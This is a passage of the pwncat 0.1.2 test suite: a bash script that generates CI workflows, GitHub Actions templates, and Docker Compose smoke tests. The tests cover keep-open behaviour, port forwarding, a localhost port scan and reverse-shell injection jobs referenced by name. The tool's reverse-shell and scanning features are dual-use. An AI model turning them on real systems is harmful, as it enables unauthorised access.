's/$/__NL__/g' | tr -d '\n' )" echo "${data}" } ### ### Build Matrix ### VERSION_MATRIX=( "x64--ubuntu--x64--2.7" "x64--ubuntu--3.5" "x64--ubuntu--3.6" "x64--ubuntu--3.7" "x64--ubuntu--3.8" "x64--ubuntu--pypy2" "x64--ubuntu--pypy3" "x64--macos--2.7" "x64--macos--3.5" "x64--macos--3.6" "x64--macos--3.7" "x64--macos--3.8" "x64--macos--pypy2" "x64--macos--pypy3" "x64--windows--2.7" "x64--windows--3.5" "x64--windows--3.6" "x64--windows--3.7" "x64--windows--3.8" "x64--windows--pypy2" "x64--windows--pypy3" ) DISABLE_CRLF=( "x64--windows--2.7" "x64--windows--3.5" "x64--windows--3.6" "x64--windows--3.7" "x64--windows--3.8" "x64--windows--pypy2" "x64--windows--pypy3" ) ### ### Ensure old flows are removed ### rm -f "${FLW_PATH}/test-"* ### ### Replace with all ### RETRY_FUNCTION="$(cat <<-'END_HEREDOC' retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } END_HEREDOC )" RETRY_FUNCTION="$( escape_for_sed "${RETRY_FUNCTION}" )" ### ### Ensure new flows are created ### for v in "${VERSION_MATRIX[@]}"; do arch="${v//--*/}" os="${v//${arch}--/}" os="${os//--*/}" py="${v//*--}" flw_file="${FLW_PATH}/test-${arch}-${os}-${py}.yml" flw_name="${os:0:3}-${py//pypy/py}" job_name="[${arch}] [${os}] python-${py}" printf "%s\\n" "-----------------------------------------------------------" printf "file: %s\\n" "${flw_file}" printf "flw name: %s\\n" "${flw_name}" printf "job name: %s\\n" "${job_name}" printf "OS: %s\\n" "${os}-latest" printf "Arch: %s\\n" "${arch}" printf "Python: %s\\n" "${py}" # Add custom jobs if [ "${os}" == "ubuntu" ]; then linux_jobs="" macos_jobs="" windows_jobs="" fi if [ "${os}" == "macos" ]; then linux_jobs="" macos_jobs="" windows_jobs="" fi if [ "${os}" == "windows" ]; then linux_jobs="" macos_jobs="" windows_jobs="$(cat <<-'END_HEREDOC' - name: Add bash to the Path run: | echo "::add-path::c:\msys64\mingw32\bin" echo "::add-path::c:\msys64\usr\bin" END_HEREDOC )" windows_jobs="$( escape_for_sed "${windows_jobs}" )" windows_jobs="" fi os="${os}-latest" #if [ "${os}" == "ubuntu" ]; then # os="${os}-16.04" #else # os="${os}-latest" #fi retry_func_crlf="${RETRY_FUNCTION}" # Disable comments for specific combinations crlf_comment="" # shellcheck disable=SC2076,SC2199 if [[ " ${DISABLE_CRLF[@]} " =~ " ${v} " ]]; then crlf_comment="#" retry_func_crlf="" fi # shellcheck disable=SC2002 cat "${TPL_PATH}" \ | sed "s/__DISABLE_CRLF__/${crlf_comment}/g" \ | sed "s|__RETRY_FUNCTION_CRLF__|${retry_func_crlf}|g" \ | sed "s|__RETRY_FUNCTION__|${RETRY_FUNCTION}|g" \ | sed "s/__WORKFLOW_NAME__/${flw_name}/g" \ | sed "s/__OS__/${os}/g" \ | sed "s/__PYTHON_VERSION__/${py}/g" \ | sed "s/__JOB_NAME__/${job_name}/g" \ | sed "s/__ARCHITECTURE__/${arch}/g" \ | sed "s#__LINUX_JOBS__#${linux_jobs}#g" \ | sed "s#__MACOS_JOBS__#${macos_jobs}#g" \ | sed "s#__WINDOWS_JOBS__#${windows_jobs}#g" \ | sed "s/__NL__/\\n/g" \ > "${flw_file}" done pwncat-0.1.2/tests/pipelines/run.sh000077500000000000000000000002741414025024700173050ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" bash "${SCRIPTPATH}/_gen-test.sh" bash "${SCRIPTPATH}/_gen-smoke.sh" pwncat-0.1.2/tests/pipelines/template-smoke.yml.tpl000066400000000000000000000036621414025024700224160ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: __WORKFLOW_NAME__ on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "__JOB_NAME__" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=__PYTHON_VERSION__ - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=__PYTHON_VERSION__ - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ pwncat-0.1.2/tests/pipelines/template-test.yml.tpl000066400000000000000000000325171414025024700222600ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: __WORKFLOW_NAME__ on: pull_request: push: branches: - master tags: jobs: test: runs-on: __OS__ strategy: fail-fast: False name: "__JOB_NAME__" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: __PYTHON_VERSION__ architecture: __ARCHITECTURE__ - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi __WINDOWS_JOBS__ __LINUX_JOBS__ __MACOS_JOBS__ - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | __RETRY_FUNCTION__ retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | __RETRY_FUNCTION__ retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | __RETRY_FUNCTION__ retry make _test-options--nodns env: RETRIES: 5 __DISABLE_CRLF__ - name: "[OPTIONS] -C/--crlf" __DISABLE_CRLF__ shell: bash __DISABLE_CRLF__ run: | __DISABLE_CRLF____RETRY_FUNCTION_CRLF__ __DISABLE_CRLF__ retry make _test-options--crlf __DISABLE_CRLF__ env: __DISABLE_CRLF__ RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | __RETRY_FUNCTION__ retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | __RETRY_FUNCTION__ retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | __RETRY_FUNCTION__ retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | __RETRY_FUNCTION__ retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | __RETRY_FUNCTION__ retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | __RETRY_FUNCTION__ retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | __RETRY_FUNCTION__ retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | __RETRY_FUNCTION__ retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | __RETRY_FUNCTION__ retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/tests/smoke/000077500000000000000000000000001414025024700152655ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/200---tcp---keep_open---kill_server---no_send/000077500000000000000000000000001414025024700250275ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/200---tcp---keep_open---kill_server---no_send/docker-compose.yml000066400000000000000000000011701414025024700304630ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [TCP] [--keep-open] ### SIGINT (Ctrl+c) on Server (not sending data) ### server: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat client: image: python:${PYTHON_VERSION}-alpine hostname: client command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv server 4444 restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat depends_on: - server pwncat-0.1.2/tests/smoke/200---tcp---keep_open---kill_server---no_send/run.sh000077500000000000000000000136351414025024700262020ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=6 WAIT_SHUTDOWN=6 # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Client is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Client was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs server" run "docker-compose logs client" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/201---tcp---keep_open---kill_server---send_data/000077500000000000000000000000001414025024700253255ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/201---tcp---keep_open---kill_server---send_data/data/000077500000000000000000000000001414025024700262365ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/201---tcp---keep_open---kill_server---send_data/data/start_client_send.sh000077500000000000000000000002411414025024700322760ustar00rootroot00000000000000#!/bin/sh set -e set -u set -x RHOST="${1}" RPORT="${2}" printf "hi\\n" | "python${PYTHON_VERSION}" /usr/bin/pwncat --no-shutdown -vvvvv "${RHOST}" "${RPORT}" pwncat-0.1.2/tests/smoke/201---tcp---keep_open---kill_server---send_data/docker-compose.yml000066400000000000000000000012611414025024700307620ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [TCP] [--keep-open] ### SIGINT (Ctrl+c) on Server (Client sends data) ### server: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat client: image: python:${PYTHON_VERSION}-alpine hostname: client command: /start.sh "server" "4444" restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat - ./data/start_client_send.sh:/start.sh environment: PYTHON_VERSION: ${PYTHON_VERSION} depends_on: - server pwncat-0.1.2/tests/smoke/201---tcp---keep_open---kill_server---send_data/run.sh000077500000000000000000000136351414025024700265000ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=6 WAIT_SHUTDOWN=6 # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Client is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Client was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs server" run "docker-compose logs client" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/300---tcp---port_scan---no_banner/000077500000000000000000000000001414025024700227165ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/300---tcp---port_scan---no_banner/docker-compose.yml000066400000000000000000000004731414025024700263570ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [TCP] [-z] ### SIGINT (Ctrl+c) ### scanner: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat -z -vvvv localhost 1-65535 restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat pwncat-0.1.2/tests/smoke/300---tcp---port_scan---no_banner/run.sh000077500000000000000000000112121414025024700240560ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=7 WAIT_SHUTDOWN=15 NAME1="scanner" # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 